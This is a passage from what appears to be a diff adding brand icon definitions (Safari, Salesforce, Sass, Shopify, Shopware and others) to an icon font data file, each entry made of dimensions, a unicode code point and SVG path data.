.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z"], + "safari": [512, 512, [], "f267", "M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z"], + "salesforce": [640, 512, [], "f83b", "M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z"], + "sass": [640, 512, [], "f41e", "M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z"], + "schlix": [448, 512, [], "f3ea", "M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z"], + "scribd": [384, 512, [], "f28a", "M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z"], + "searchengin": [460, 512, [], "f3eb", "M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z"], + "sellcast": [448, 512, [], "f2da", "M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z"], + "sellsy": [640, 512, [], "f213", "M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z"], + "servicestack": [496, 512, [], "f3ec", "M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z"], + "shirtsinbulk": [448, 512, [], "f214", "M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z"], + "shopify": [448, 512, [], "e057", "M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z"], + "shopware": [512, 512, [], "f5b5", "M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 